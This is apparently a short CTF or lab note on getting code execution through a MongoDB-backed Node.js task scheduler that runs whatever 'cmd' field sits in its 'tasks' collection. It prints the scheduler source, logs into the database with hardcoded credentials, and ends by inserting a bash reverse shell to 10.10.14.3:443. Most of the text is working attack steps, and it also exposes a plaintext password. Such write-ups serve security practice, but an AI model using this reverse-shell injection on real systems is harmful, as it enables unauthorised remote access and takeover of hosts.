# Mongo DB Code Execution

### IF

<pre><code>const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/<a data-footnote-ref href="#user-content-fn-1">schedule</a>r?authMechanism=DEFAULT&#x26;authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error &#x26;&#x26; docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});
</code></pre>

### To Connect

```
mark@node:~$  mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> 
```

### In Mongo, a database (like `scheduler`) has collections (kind of like tables in SQL). This db has one collection:

```
> show collections
tasks
```

### To Check The collection has objects in it:

```
> db.tasks.insert({"cmd": "touch /tmp/g37sys73m"})
WriteResult({ "nInserted" : 1 })
```

### Code Exec

```
db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1'"})
```

[^1]:
